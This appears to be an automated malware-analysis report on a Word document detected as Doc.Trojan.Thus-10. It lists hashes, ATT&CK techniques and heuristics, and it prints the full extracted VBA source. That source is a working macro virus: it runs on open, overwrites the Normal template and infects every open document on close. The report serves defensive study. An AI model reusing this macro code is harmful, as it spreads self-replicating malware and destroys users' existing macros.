Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dddea8aa1ab729ca…

MALICIOUS

Office (OLE)

34.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a22a7f03fae71ecef6044d0f55fb5509 SHA-1: 96f71d77a79cba79cf37a1c914323a74e1525bd9 SHA-256: dddea8aa1ab729caebff07037d7acfcd86e5b262c6497c4c4e509dd5b21c71b8
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro that executes upon document opening. This macro attempts to copy itself to the Normal template and uses Application.OnTime to schedule future execution, indicating a persistence mechanism. The ClamAV detection 'Doc.Trojan.Thus-10' further supports its malicious nature. The specific family is not identifiable from the provided evidence.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2286 bytes
SHA-256: 0e1ddb4a3bfbf0c8d79dbf97e89b434918655fb12c927caeb0aee60849937242
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'AVA_001'
    On Error Resume Next
    'Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AVA_001'" Then
      MsgBox ("no 'AVA_001' in normal")
      NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
      .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
      .CodeModule.CountOfLines + 100
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  H
End Sub
Private Sub T()
  Application.OnTime When:=Now + TimeValue("00:00:05"), Name:="normal.ThisDocument.H"
End Sub
Private Sub H()
  T1
End Sub
Private Sub T1()
  'Normal.ThisDocument.H
  Application.OnTime When:=Now, Name:="normal.ThisDocument.T"
End Sub
Private Sub Document_Close()
  On Error Resume Next
  For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'AVA_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
      Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
      .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
      .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
  Next k
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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